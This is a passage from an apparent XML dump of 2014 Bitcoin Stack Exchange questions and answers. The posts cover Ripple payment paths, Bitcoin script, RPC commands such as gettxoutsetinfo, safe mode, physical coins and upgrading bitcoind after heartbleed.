XYZ and 100 USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will ripple find the path described above?  Let's call it &lt;em&gt;path #1&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's another path that might work.  The first leg is Alice takes my offer, I get her USD and she gets my XYZ.  The next leg of the path sends the XYZ back to my wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will ripple find this &lt;em&gt;path #2&lt;/em&gt;?  Specifically, will it be found &lt;em&gt;even if Alice does not trust XYZ:xyzGateway&lt;/em&gt;?  Does Alice's action of sending XYZ to me imply her trust of that currency?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the two paths are equal in their net effect: 100 USD subtracted from Alice's wallet, and 100 USD added to my wallet.  And I still have 1000 XYZ in my wallet. And my offer to sell XYZ for USD is removed from the ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, transit fees could make those two paths not equivalent.  Let's say that usdGateway charges 1% in transit fees.  And likewise xyzGatway charges 1%.  Path #1 described above would incure 1% fee when Alice sends USD to me (she'd have to send 101 instead of 100).  It's unclear to me, would the trade leg (trade with myself) would incur still more transit fees from either gateway?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And regarding path #2, there would be a 1% fee to usdGateway when Alice trades for XYZ, and a 1% fee from me to xyzGateway, and finally one more 1% fee for the leg sending XYZ from Alice to me?  Am I correct that this path pays single transit fees to usdGatway and double fees to xyzGateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for help with this. Apologies for cramming multiple questions into one post.  I several questions just to understand what Ripple would do when Alice attempts to send the XYZ.&lt;/p&gt;&#xA;" OwnerUserId="13218" LastActivityDate="2014-04-18T02:34:51.540" Title="Can a trade offer be the last leg of a Ripple transaction path? If so, do transit fees apply?" Tags="|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24658" PostTypeId="2" ParentId="24657" CreationDate="2014-04-16T22:35:06.870" Score="2" Body="&lt;p&gt;You have a slight misunderstanding about payment paths that is confusing your reasoning. When a payment path ripples through an account, that account receives an asset from the previous link in the path and issues an asset to the next link in the path, not the sender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the answer to your first question is that no trust is needed since Alice never holds the currency. An asset, other than XRP, can only be delivered to a person who created a trust line or an offer that agreed to accept that asset. But she never holds it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the answer to your second question is that there is no second transit. Alice never holds the asset because she never agreed to. The asset is delivered to the next link in the payment path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use a more realistic payment path, consider a case where Alice holds USD issued by Snapswap and wants to pay Bob a Bitcoin. Bob must have a trust line or this is not possible, so let's say he has a trust line to Bitstamp with a limit above his balance. The full payment path could be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alice/USD -&gt; Snapswap/USD -&gt; Order book -&gt; Bitstamp/BTC -&gt; Bob/BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that only an order book can change the currency. Alice returns USD to Snapswap, and in exchange Snapswap issues USD to whoever placed offers in the order book. The offer owner in turn sends BTC back to Bitstamp who in turn issues them to Bob. Nobody ever holds an asset they didn't agree to hold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes it easier to understand how transfer fees apply. If Bitstamp charges .2%, then the market maker must send 1.002 BTC back to Bitstamp in order to deliver 1 BTC to Bob.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-04-18T02:34:51.540" LastActivityDate="2014-04-18T02:34:51.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24659" PostTypeId="2" ParentId="24651" CreationDate="2014-04-16T23:46:16.797" Score="17" Body="&lt;p&gt;The asm strands for assembly, which is the symbolic representation of the Bitcoin's Script language op-codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this particular case we have 2 pieces of data that go to the execution stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction signature:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;304502201fd8abb11443f8b1b9a04e0495e0543d05611473a790c8939f089d073f90509a022100f4677825136605d732e2126d09a2d38c20c75946cd9fc239c0497e84c634e3dd01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the public key of the input's address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;03301a8259a12e35694cc22ebc45fee635f4993064190f6ce96e7fb19a03bb6be2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that the hex and the asm are almost the same except the 48 in the beginning and 21 towards the end. These are op-codes that tell the interpreter to put a  specific amount of bytes to the stack. So in the case of the signature it tells to put 72 bytes (0x48) to the stack and 33 bytes (0x21) for the public key. Check here for more info &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Constants&quot;&gt;https://en.bitcoin.it/wiki/Script#Constants&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13746" LastActivityDate="2014-04-16T23:46:16.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24660" PostTypeId="2" ParentId="11987" CreationDate="2014-04-17T03:25:55.987" Score="3" Body="&lt;p&gt;Yes, you have to have client with all your coins open with your private keys and have it sitting on online machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See Proof Of Stake Details section for &lt;a href=&quot;https://nextcoin.org/index.php?topic=104.0&quot; rel=&quot;nofollow&quot;&gt;NXT&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14400" LastActivityDate="2014-04-17T03:25:55.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24661" PostTypeId="2" ParentId="24571" CreationDate="2014-04-17T06:57:48.353" Score="8" Body="&lt;p&gt;I just added sendtoaddress to bitcoin.rpc.Proxy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bitcoin.core import COIN, b2lx&#xA;import bitcoin.wallet&#xA;import bitcoin.rpc&#xA;try:&#xA;    # This moved between versions&#xA;    from bitcoin.base58 import CBitcoinAddress&#xA;except:&#xA;    from bitcoin.wallet import CBitcoinAddress&#xA;&#xA;rpc = bitcoin.rpc.Proxy()&#xA;addr = CBitcoinAddress('1JwSSubhmg6iPtRjtyqhUYYH7bZg3Lfy1T')&#xA;&#xA;txid = rpc.sendtoaddress(addr, 0.001 * COIN)&#xA;print(b2lx(txid))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note quite as simple as bitcoinrpc, but that's the trade-off for having proper types and so forth.&lt;/p&gt;&#xA;" OwnerUserId="15305" LastEditorUserId="2306" LastEditDate="2015-03-07T08:12:10.277" LastActivityDate="2015-03-07T08:12:10.277" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24664" PostTypeId="1" AcceptedAnswerId="25303" CreationDate="2014-04-17T12:27:58.430" Score="1" ViewCount="801" Body="&lt;p&gt;Not considering any external services, is there any way (opensource implementation) that would keep up with the blockchain and expose an API with the same functionality as the original &lt;strong&gt;getreceivedbyaddress&lt;/strong&gt; method in bitcoind?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To emphasize, I need the API to return the sum of coins ever received on that address, NOT a current balance. Preferably, this would work without the need of registering/importing that address in advance (so the system should auto-index all addresses spotted in the blockchain).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's an old (0.8+) fork of bitcoind (&lt;a href=&quot;https://github.com/TOCICI/bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/TOCICI/bitcoin&lt;/a&gt;) that adds importaddress RPC call, which is the best I could find so far (even though it's not optimal since it requires the addresses to be imported first).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there's a continuing discussion going on about watch-only wallets, but I'm afraid (correct me if I'm wrong) this will only provide address balance, not the total amount ever sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also considered using Electrum server for this, but was only able to see that one can get a current balance of an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2015-03-03T11:42:36.673" Title="getreceivedbyaddress without knowing the private key" Tags="|bitcoind|electrum|watch-only|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24665" PostTypeId="1" CreationDate="2014-04-17T12:31:24.250" Score="3" ViewCount="277" Body="&lt;p&gt;I would like to know if it is possible to determine what transactions are originating at a specific node, assuming that I am connected to only that node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This post applies to Bitcoin and DogeCoin as well.&lt;/p&gt;&#xA;" OwnerUserId="15312" LastActivityDate="2014-05-18T03:17:24.640" Title="If I connect to a specific DogeCoin Node, is it possible to determine the transactions that originate at that node?" Tags="|transactions|dogecoin|nodes|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24666" PostTypeId="1" CreationDate="2014-04-17T13:31:41.493" Score="3" ViewCount="554" Body="&lt;p&gt;While reading through the bitcoin wiki I found this following segment describing a bitcoin RPC safe-mode&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Until version 0.3.20, Bitcoin went into safe mode when a valid alert&#xA;  was received. In safe mode, all RPC commands that send BTC or get info&#xA;  about received BTC return an error. Current Bitcoin versions no longer&#xA;  go into safe mode in response to alerts, though Bitcoin will still go&#xA;  into safe mode when it detects on its own that something is seriously&#xA;  wrong with the network.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Even though Bitcoin no longer automatically disables RPC when an alert&#xA;  is live, it is wise for Bitcoin sites to shut down when an alert has&#xA;  been issued. To detect an active alert, poll the &quot;errors&quot; field of&#xA;  getinfo.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To test safe mode, run Bitcoin with the -testsafemode switch. To&#xA;  override a real safe mode event, run Bitcoin with the -disablesafemode&#xA;  switch.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Alerts#Safe_mode&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Alerts#Safe_mode&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It says &quot;Bitcoin will still go into safe mode when it detects on its own that something is seriously wrong with the network.&quot; I am interested in learning which events would make bitcoin go in to safe mode on it's own.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-04-17T15:55:27.170" Title="What triggers safe-mode?" Tags="|safemode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24668" PostTypeId="1" CreationDate="2014-04-17T14:36:46.983" Score="2" ViewCount="21345" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2606/are-there-physical-bitcoin&quot;&gt;This question&lt;/a&gt; establishes that there are physical bitcoins that can be bought and I recently just bought &lt;a href=&quot;https://shibemint.com/&quot; rel=&quot;nofollow&quot;&gt;a physical Dogecoin&lt;/a&gt; as a trinket but I can't help but wonder if there's a solid value related to these coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins can be found for 1, 10, and 25 BTC and I just bought my Dogecoin coin for 10 USD (18947 Doge after shipping and handling). If someone were to hold onto these coins for years and attempt to sell later on, what would they be worth? Is a 1 BTC coin always worth 1 BTC or, like a collectible, is it only guaranteed to be worth what somebody will pay for it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's not officially backed or anything, but is it reasonable to think that if I bought it for 1 BTC that somebody else would pay me 1 BTC for it later even if the value of BTC changes?&lt;/p&gt;&#xA;" OwnerUserId="15314" LastActivityDate="2021-02-14T09:43:27.450" Title="Do physical bitcoins or altcoins actually carry value?" Tags="|physical-coins|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24669" PostTypeId="2" ParentId="11332" CreationDate="2014-04-17T15:00:41.993" Score="1" Body="&lt;p&gt;With the new Coinbase design, these are the steps to follow in order to get your current BitCoin addresses or to generate new addresses. Note that you do not have the ability to remove addresses from you wallet, because if you did, future money sent to those addresses would be lost. This is a good thing for you.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Log in to Coinbase.&lt;/li&gt;&#xA;&lt;li&gt;In the menus on the lefthand side of the page, under Wallet, select Account Settings.&lt;/li&gt;&#xA;&lt;li&gt;The righthand side of the page will change / update. Notice at the top of that section, there are the following links: Account Settings, Bitcoin Addresses, and Apps.&lt;/li&gt;&#xA;&lt;li&gt;Click Bitcoin Addresses and you'll be able to create new addresses and view your current addresses.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15316" LastActivityDate="2014-04-17T15:00:41.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24670" PostTypeId="2" ParentId="24666" CreationDate="2014-04-17T15:55:27.170" Score="2" Body="&lt;p&gt;It looks like the relevant code is in &lt;code&gt;CheckForWarningConditions()&lt;/code&gt;.  This sets the flags &lt;code&gt;fLargeWorkForkFound&lt;/code&gt; and &lt;code&gt;fLargeWorkInvalidChainFound&lt;/code&gt;, which are checked by &lt;code&gt;GetWarnings()&lt;/code&gt;, which is called in &lt;code&gt;CRPCTable::execute()&lt;/code&gt; to check if safe mode should be enforced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that the code looks for large forks in the block chain, suggesting that miners disagree on which blocks are valid.  The two flags seem to correspond to which camp our client falls in.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-04-17T15:55:27.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24671" PostTypeId="1" CreationDate="2014-04-17T18:47:23.937" Score="3" ViewCount="2070" Body="&lt;p&gt;Here's an output of listtransactions method &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[&#xA;{&#xA;&quot;account&quot; : &quot;&quot;,&#xA;&quot;address&quot; : &quot;mz2A28GQxWrYgMn2z9pRqaUFNqTMyhk1sJ&quot;,&#xA;&quot;category&quot; : &quot;receive&quot;,&#xA;&quot;amount&quot; : 6.30000000,&#xA;&quot;confirmations&quot; : 157,&#xA;&quot;blockhash&quot; : &quot;00000000befa3ef184f6c3cdec8814b945bad9e3f7ce9eb38e3102bcf4c030c0&quot;,&#xA;&quot;blockindex&quot; : 9,&#xA;&quot;blocktime&quot; : 1397675516,&#xA;&quot;txid&quot; : &quot;f517350f088d235878ecab8d5241f0b6e59a4081eec22031c449d0d01d79ed66&quot;,&#xA;&quot;walletconflicts&quot; : [&#xA;],&#xA;&quot;time&quot; : 1397672026,&#xA;&quot;timereceived&quot; : 1397672026&#xA;}&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what's walletconflicts, it's array of what ? transaction ids, maybe ? i couldn't find any documentation even in Bitcoin console.&lt;/p&gt;&#xA;" OwnerUserId="12049" LastActivityDate="2021-03-01T19:15:02.940" Title="What's &quot;walletconflicts&quot; in listtransactions method output" Tags="|transactions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24672" PostTypeId="2" ParentId="24668" CreationDate="2014-04-17T19:21:22.833" Score="2" Body="&lt;p&gt;The place you bought from, ShibeMint.com, sells nothing more than keepsake tokens.  They are made of &lt;a href=&quot;https://shibemint.com/?product=physical-dogecoin-2014-pure-copper-edition&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;copper&lt;/strong&gt;&lt;/a&gt; or &lt;a href=&quot;https://shibemint.com/?product=physical-dogecoin-2014-pure-silver-edition&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;silver&lt;/strong&gt;&lt;/a&gt; and are worth only what someone else is willing to pay for them.  They will not include a private key that allows you to then spend Dogecoin somewhere else. These are simply mementos and not a crypto currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quote ShibeMint.com, these physical dogecoins are for &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;displaying additional shibe pride, starting an exciting conversation, more accurate decision making, extra inspiration, a lovely gift for a dogecoin enthusiast, attracting quality shibemates&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is nothing to stop another website from creating and selling their own version of Dogecoins.  In fact, here's &lt;a href=&quot;http://www.dogeslist.org/listings/physical-dogecoin-coin&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;another&lt;/strong&gt;&lt;/a&gt; that does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can purchase physical bitcoins or altcoins with or without a private key that would allow you to spend that currency.  Here is a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=397258.0&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;full list of physical crypto coins&lt;/strong&gt;&lt;/a&gt;.  Without the private key, the crypto coin is worth the metal/plastic/material from which it is minted.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, it will still carry the value that someone else is willing to purchase it for.&lt;/p&gt;&#xA;" OwnerUserId="6375" LastEditorUserId="6375" LastEditDate="2014-04-18T20:53:44.653" LastActivityDate="2014-04-18T20:53:44.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24673" PostTypeId="2" ParentId="24641" CreationDate="2014-04-17T19:34:10.790" Score="2" Body="&lt;p&gt;It is to verify the block database has not been damaged or tampered with. It does not modify the databases in any way.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastEditorUserId="7043" LastEditDate="2014-04-18T08:11:49.903" LastActivityDate="2014-04-18T08:11:49.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24674" PostTypeId="2" ParentId="24671" CreationDate="2014-04-17T21:15:42.513" Score="2" Body="&lt;p&gt;This is new. It is a field, which contains txids which hold the same data as the original transaction (but has different txids).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://www.cryptocoinsnews.com/news/bitcoin-transaction-malleability/2014/02/16&quot; rel=&quot;nofollow&quot;&gt;ID-malleation bug&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9563" LastActivityDate="2014-04-17T21:15:42.513" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24675" PostTypeId="1" AcceptedAnswerId="24684" CreationDate="2014-04-17T22:03:43.550" Score="5" ViewCount="2020" Body="&lt;p&gt;Could you please explain &lt;code&gt;gettxoutsetinfo&lt;/code&gt;, what is it used for? What are the different fields in the output?&lt;/p&gt;&#xA;&lt;p&gt;I assume that it's used to calculate the amount of the unspent trasaction outputs in the blockchain. What is &lt;code&gt;bytes_serialized&lt;/code&gt; and &lt;code&gt;hash_serialized&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-json prettyprint-override&quot;&gt;&lt;code&gt;{&#xA;  &amp;quot;height&amp;quot; : 225494,&#xA;  &amp;quot;bestblock&amp;quot; : &amp;quot;00000000eb0443fd7dc4a1ed5c686a8e995057805f9a161d9a5a77a95e72b7b6&amp;quot;,&#xA;  &amp;quot;transactions&amp;quot; : 335344,&#xA;  &amp;quot;txouts&amp;quot; : 2221582,&#xA;  &amp;quot;bytes_serialized&amp;quot; : 72130407,&#xA;  &amp;quot;hash_serialized&amp;quot; : &amp;quot;3d14832b1b468f52ce942d4b9dc0c76a54fa6865207ff64540105403e3109f43&amp;quot;,&#xA;  &amp;quot;total_amount&amp;quot; : 10886823.50380013&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12049" LastEditorUserId="123594" LastEditDate="2023-05-06T12:51:10.033" LastActivityDate="2023-05-06T12:51:10.033" Title="What is gettxoutsetinfo used for?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24676" PostTypeId="2" ParentId="24655" CreationDate="2014-04-17T23:18:24.437" Score="0" Body="&lt;p&gt;As relative Answer in terms of Coins per day:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                                                          A      B&#xA;coins = reward / (difficulty * 4294967296 / hashsPerSec / 3600 / 24) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A is the number of seconds in an hour&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;B is the number hours in a day&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=123966.msg1332328#msg1332328&quot; rel=&quot;nofollow&quot;&gt;bitcointalk.org - Formula to calculate litecoins generated per day by hashrate&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13808" LastActivityDate="2014-04-17T23:18:24.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24677" PostTypeId="1" CreationDate="2014-04-17T23:22:33.843" Score="-1" ViewCount="116" Body="&lt;p&gt;I'm writing bachelor thesis and I have to do some graphs. I think that I can take snapshot, but it isn't good idea. Can I somewhere download historical data about Bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT. I need technical data like there: &lt;a href=&quot;https://blockchain.info/charts&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/charts&lt;/a&gt; + financial data like USD/BTC etc. for create graphs. I can't use screenshots for bachelor thesis...  &lt;/p&gt;&#xA;" OwnerUserId="15182" LastEditorUserId="15182" LastEditDate="2014-04-18T00:11:04.877" LastActivityDate="2014-04-22T20:15:59.200" Title="Where I can download financial &amp; technical data for graphs of bachelor thesis?" Tags="|charts|finance|live-data|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24678" PostTypeId="1" AcceptedAnswerId="24680" CreationDate="2014-04-18T00:17:16.243" Score="4" ViewCount="568" Body="&lt;p&gt;Look at the code below from android bitcoin wallet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;proofOfWorkLimit = Utils.decodeCompactBits(0x1d00ffffL);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And look at the code from bitcoin qt wallet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static CBigNum bnProofOfWorkLimit(~uint256(0) &amp;gt;&amp;gt; 32);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume that in second case ProofOfWorkLimit is 32 &quot;0&quot; and 224 &quot;1&quot; (000000...000111111111....11111111)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I don't have an idea how to get first case &quot;0x1d00ffffL&quot; from second case?&#xA;In binary &quot;0x1d00ffffL&quot; is 11101000000001111111111111111.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I have looked in uint256.h. It wasn't helpful.&lt;/p&gt;&#xA;" OwnerUserId="6627" LastEditorUserId="5406" LastEditDate="2016-01-05T13:31:41.177" LastActivityDate="2016-01-05T13:31:41.177" Title="What is proofOfWorkLimit?" Tags="|bitcoinj|proof-of-work|bitcoin-wallet-app|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24680" PostTypeId="2" ParentId="24678" CreationDate="2014-04-18T02:25:39.453" Score="4" Body="&lt;p&gt;The first byte, 1D, is the length. The next three bytes are the high bytes of the hash. So we have &lt;code&gt;00ffff&lt;/code&gt;, then we add &lt;code&gt;ff&lt;/code&gt; bytes onto the end to get to 29 bytes. Then we're done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We wind up with 3 bytes of leading zeroes because 32-29 is 3. And we get one byte of zeroes from the second byte of the compact bits. So the final result is 00,00,00,00,ff,ff,ff...&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-04-18T02:25:39.453" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24681" PostTypeId="2" ParentId="24665" CreationDate="2014-04-18T02:32:34.227" Score="1" Body="&lt;p&gt;No. And if you could, that would be considered a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think about it. Say I create a transaction. I send it to exactly one node, and only one node. How can that node convince you that it got the transaction from me rather than that it originated it itself? How can that node know whether I originated that transaction or got it from some other node?&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-04-18T02:32:34.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24684" PostTypeId="2" ParentId="24675" CreationDate="2014-04-18T07:04:38.827" Score="7" Body="&lt;p&gt;The command computes some statistics about the database of unspent transaction output that is maintained by a bitcoin node.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;height: the height of the block up to which the UTXO set is accurate. This may be lower than the result of getinfo's height, as the node does not flush the UTXO set from caches after every block.&lt;/li&gt;&#xA;&lt;li&gt;bestblock: the hash of the block up to which the UTXO is accurate.&lt;/li&gt;&#xA;&lt;li&gt;transactions: the number of distinct transactions to which the unspent outputs belong (or: the number of transactions that have at least one non-spent output).&lt;/li&gt;&#xA;&lt;li&gt;txouts: the number of unspent outputs&lt;/li&gt;&#xA;&lt;li&gt;bytes_serialized: how large the database is in bytes, should we serialize it.&lt;/li&gt;&#xA;&lt;li&gt;hash_serialized: the hash of the entire serialized database. You can use this value to compare with other nodes (if they are at the same block), to verify the UTXO set's integrity.&lt;/li&gt;&#xA;&lt;li&gt;total_amount: value (in BTC) of all unspent outputs together. This is the best possible guess for the amount of currency in circulation.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-04-18T07:04:38.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24685" PostTypeId="1" AcceptedAnswerId="24691" CreationDate="2014-04-18T07:30:21.557" Score="5" ViewCount="1316" Body="&lt;p&gt;I am currently having Bitcoin daemon version 0.9.0 and &lt;code&gt;bitcoind getinfo&lt;/code&gt; shows error like &quot;Upgrade required&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{&#xA;&quot;version&quot; : 90000,&#xA;...&#xA;&quot;errors&quot; : &quot;URGENT: Upgrade required: see https://www.bitcoin.org/heartbleed&quot;&#xA;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to upgrade Bitcoin daemon in ubuntu 12.04 and want to know daemon is sync blocks once again needed?&lt;/p&gt;&#xA;" OwnerUserId="14629" LastEditorUserId="14629" LastEditDate="2014-04-18T10:27:18.757" LastActivityDate="2014-04-20T15:21:23.610" Title="How to upgrade Bitcoin daemon in ubuntu 12.04?" Tags="|bitcoind|ubuntu|daemon|ssl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24686" PostTypeId="2" ParentId="10731" CreationDate="2014-04-18T09:04:17.490" Score="-3" Body="&lt;p&gt;As far is I have experiences and testings on many pools it is best to mine on avreage size of pools. You get most of it. Because if pool is to large than you get many blocks but you get real small payment.&#xA;If pool is too small you wait for blosk and  payment too long.&#xA;But if pool is somehow average there you still get blocks enough often and payment is a bit higher.&lt;/p&gt;&#xA;" OwnerUserId="15321" LastActivityDate="2014-04-18T09:04:17.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24688" PostTypeId="1" CreationDate="2014-04-18T11:10:26.073" Score="1" ViewCount="277" Body="&lt;p&gt;I am running bitcoind 9.0 on a server (without GUI) with Ubuntu 12.04 (Precise Pangolin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I enter in my shell&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;version&quot; : 90000,&#xA;    &quot;protocolversion&quot; : 70002,&#xA;    &quot;walletversion&quot; : 10500,&#xA;    ...&#xA;    &quot;errors&quot; : &quot;URGENT: Upgrade required: see https://www.bitcoin.org/heartbleed&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I go to &lt;a href=&quot;https://www.bitcoin.org/heartbleed&quot; rel=&quot;nofollow&quot;&gt;https://www.bitcoin.org/heartbleed&lt;/a&gt; I find a link to the download-page: &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/download&lt;/a&gt;. On this page is a link for Ubuntu:   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://launchpad.net/~bitcoin/+archive/bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://launchpad.net/~bitcoin/+archive/bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There I can read, that I must add this lines to /etc/apt/sources.list&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;deb http://ppa.launchpad.net/bitcoin/bitcoin/ubuntu precise main &#xA;deb-src http://ppa.launchpad.net/bitcoin/bitcoin/ubuntu precise main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I already had entered this lines some weeks before (to be able to install version 0.9)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I enter&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind stop&#xA;apt-get update&#xA;apt-get upgrade&#xA;bitcoind &#xA;bitcoind getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get exactly the same 